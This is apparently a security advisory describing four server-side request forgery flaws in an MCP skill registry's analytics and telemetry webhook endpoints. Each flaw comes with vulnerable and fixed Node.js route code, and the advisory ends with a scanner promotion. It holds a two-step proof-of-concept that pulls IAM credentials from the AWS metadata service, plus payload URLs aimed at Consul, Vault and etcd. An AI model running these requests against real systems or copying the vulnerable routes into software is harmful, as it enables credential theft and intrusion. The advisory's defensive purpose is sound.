Claude MCP skill SSRF — skill analytics and usage telemetry webhook endpoints (SA-SKL-SSRF74)
SA-SKL-SSRF74 identifies four server-side request forgery vulnerabilities in MCP skill registry skill analytics and usage telemetry webhook endpoints. Analytics export endpoints that fetch user-supplied destination URLs expose IAM credentials via the AWS Instance Metadata Service; usage telemetry delivery endpoints that return the HTTP response body from user-supplied webhook URLs expose internal service directories like the Consul service catalog; analytics archive delivery endpoints that follow HTTP redirects are reachable via CNAME chains pointing to internal secrets managers; and telemetry sync endpoints that store the raw HTTP response body from user-supplied sync target URLs create persistent SSRF data exfiltration channels accessible to any user via the telemetry sync history API.
analyticsExportUrl — attacker sets to 169.254.169.254; IAM credentials returned in analytics export confirmation responsetelemetryWebhookUrl and returns body — attacker points to Consul:8500; full service catalog as telemetry delivery acknowledgmentarchiveDeliveryUrl with redirect:follow — CNAME chain to Vault:8200 returns KV secretssyncTargetUrl and stores raw response as sync confirmation record — attacker points to etcd:2379; etcd config stored persistently via telemetry sync history APISSRF74-001 — Analytics export SSRF leaks IAM credentials via IMDS
The analytics export endpoint allows skill owners to configure an external URL where their analytics data should be delivered as a CSV or JSON export. The registry server fetches the configured export destination URL to confirm reachability before scheduling exports. When the user supplies http://169.254.169.254/latest/meta-data/iam/security-credentials/ as the export URL, the registry server queries the AWS Instance Metadata Service (IMDS) from within the VPC and returns the response body as the export confirmation — exposing the IAM role name and subsequently the full temporary credentials in a two-request chain.
// SSRF74-001 — VULNERABLE
router.post('/analytics/export/configure', requireSession, async (req, res) => {
const { analyticsExportUrl } = req.body;
// VULNERABLE: no URL validation; fetches any URL including internal metadata
const confirmationRes = await fetch(analyticsExportUrl);
const confirmation = await confirmationRes.text();
await db.analyticsExportConfigs.upsert({
where: { skillId: req.params.id },
update: { exportUrl: analyticsExportUrl, lastConfirmation: confirmation },
create: { skillId: req.params.id, exportUrl: analyticsExportUrl, lastConfirmation: confirmation },
});
res.json({ configured: true, confirmation });
});
Attack PoC — SSRF74-001: Two-step IMDS credential exfiltration. Step 1 retrieves the IAM role name; Step 2 retrieves the full temporary credentials for that role. Both responses are returned in the API response body.
// SSRF74-001 — ATTACK PoC (two-step IMDS chain)
// Step 1: get role name
const step1 = await fetch('/api/skills/skill-id/analytics/export/configure', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'include',
body: JSON.stringify({
analyticsExportUrl: 'http://169.254.169.254/latest/meta-data/iam/security-credentials/',
}),
});
const { confirmation: roleName } = await step1.json();
// roleName = "registry-prod-role"
// Step 2: get credentials for that role
const step2 = await fetch('/api/skills/skill-id/analytics/export/configure', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'include',
body: JSON.stringify({
analyticsExportUrl: `http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName}`,
}),
});
const { confirmation: creds } = await step2.json();
// creds = {"AccessKeyId":"ASIA...","SecretAccessKey":"...","Token":"..."}
// SSRF74-001 — FIXED
const { assertSafeExternalUrl } = require('./lib/ssrf-guard');
router.post('/analytics/export/configure', requireSession, async (req, res) => {
const { analyticsExportUrl } = req.body;
// FIXED: validate URL against private IP ranges, resolve DNS, check again
assertSafeExternalUrl(analyticsExportUrl); // throws on private IP, localhost, metadata
// FIXED: HEAD request only — confirm reachability, never read body
const headRes = await fetch(analyticsExportUrl, { method: 'HEAD', redirect: 'error' });
if (!headRes.ok) throw new Error('Export URL unreachable');
await db.analyticsExportConfigs.upsert({
where: { skillId: req.params.id },
update: { exportUrl: analyticsExportUrl, confirmedAt: new Date() },
create: { skillId: req.params.id, exportUrl: analyticsExportUrl, confirmedAt: new Date() },
});
// FIXED: return only status code — never return response body
res.json({ configured: true, reachable: headRes.ok });
});
SSRF74-002 — Telemetry webhook SSRF exposes Consul service catalog
Usage telemetry delivery endpoints accept a user-supplied telemetryWebhookUrl and POST telemetry payload data to that URL on each telemetry event. When the delivery response is returned to the client as a delivery acknowledgment, an attacker can point the webhook URL to the internal Consul HTTP API (http://consul:8500/v1/catalog/services) to retrieve a complete inventory of all services registered in the internal service mesh — a highly valuable reconnaissance resource for lateral movement.
// SSRF74-002 — VULNERABLE
router.post('/telemetry/deliver', requireSession, async (req, res) => {
const { telemetryWebhookUrl, payload } = req.body;
const deliveryRes = await fetch(telemetryWebhookUrl, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload),
});
// VULNERABLE: returns response body from internal URL as acknowledgment
const ack = await deliveryRes.json();
res.json({ delivered: true, acknowledgment: ack });
});
// SSRF74-002 — FIXED
router.post('/telemetry/deliver', requireSession, async (req, res) => {
const { telemetryWebhookUrl, payload } = req.body;
assertSafeExternalUrl(telemetryWebhookUrl);
await fetch(telemetryWebhookUrl, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
redirect: 'error',
body: JSON.stringify(payload),
});
// FIXED: return only delivery status — never return response body
res.json({ delivered: true });
});
SSRF74-003 — Analytics archive SSRF reaches Vault via redirect follow
The analytics archive delivery endpoint fetches a user-supplied archiveDeliveryUrl with redirect: 'follow'. An attacker registers a DNS name under their control as a CNAME pointing to vault.internal or the VPC-internal address of the HashiCorp Vault instance. When the redirect chain resolves, the registry server fetches the Vault KV secrets API endpoint, returning secrets to the attacker in the archive delivery confirmation response.
// SSRF74-003 — VULNERABLE
router.post('/analytics/archive/deliver', requireSession, async (req, res) => {
const { archiveDeliveryUrl, archiveId } = req.body;
const archiveData = await getArchiveData(archiveId);
const deliveryRes = await fetch(archiveDeliveryUrl, {
method: 'PUT',
redirect: 'follow', // VULNERABLE: follows CNAME chain to internal services
body: archiveData,
});
res.json({ delivered: true, statusCode: deliveryRes.status, body: await deliveryRes.text() });
});
// SSRF74-003 — FIXED
router.post('/analytics/archive/deliver', requireSession, async (req, res) => {
const { archiveDeliveryUrl, archiveId } = req.body;
assertSafeExternalUrl(archiveDeliveryUrl); // DNS pre-resolved and checked
const archiveData = await getArchiveData(archiveId);
await fetch(archiveDeliveryUrl, {
method: 'PUT',
redirect: 'error', // FIXED: never follow redirects
body: archiveData,
});
// FIXED: return status code only — never return response body
res.json({ delivered: true });
});
SSRF74-004 — Telemetry sync SSRF stores etcd config persistently
The telemetry sync endpoint fetches a user-supplied syncTargetUrl and stores the raw HTTP response body as a sync confirmation record in the database. When the attacker points syncTargetUrl to the internal etcd HTTP API (http://etcd:2379/v3/kv/range), the full etcd key-value configuration — including service discovery configuration, feature flags, and sometimes database connection strings — is stored persistently in the telemetry sync history table and subsequently retrievable by any user via the telemetry sync history API endpoint, which does not require admin privileges to read.
// SSRF74-004 — VULNERABLE
router.post('/telemetry/sync', requireSession, async (req, res) => {
const { syncTargetUrl } = req.body;
const syncRes = await fetch(syncTargetUrl);
const syncBody = await syncRes.text(); // VULNERABLE: raw body from internal URL
await db.telemetrySyncHistory.create({
data: { skillId: req.params.id, syncTargetUrl, syncBody, syncedAt: new Date() },
});
res.json({ synced: true });
});
// SSRF74-004 — FIXED
router.post('/telemetry/sync', requireSession, async (req, res) => {
const { syncTargetUrl } = req.body;
assertSafeExternalUrl(syncTargetUrl);
const syncRes = await fetch(syncTargetUrl, { method: 'HEAD', redirect: 'error' });
// FIXED: store only delivery status code — never store response body
await db.telemetrySyncHistory.create({
data: {
skillId: req.params.id,
syncTargetUrl,
syncStatusCode: syncRes.status, // only status code, never response body
syncedAt: new Date(),
},
});
res.json({ synced: true, statusCode: syncRes.status });
});
SkillAudit detection: Run SkillAudit on your MCP skill registry to automatically detect SSRF74-class patterns. The scanner flags fetch calls with user-supplied URL parameters, missing private-IP validation, redirect:follow on external URL fetches, and response body propagation from server-side HTTP requests — producing a graded report with file locations and remediation guidance.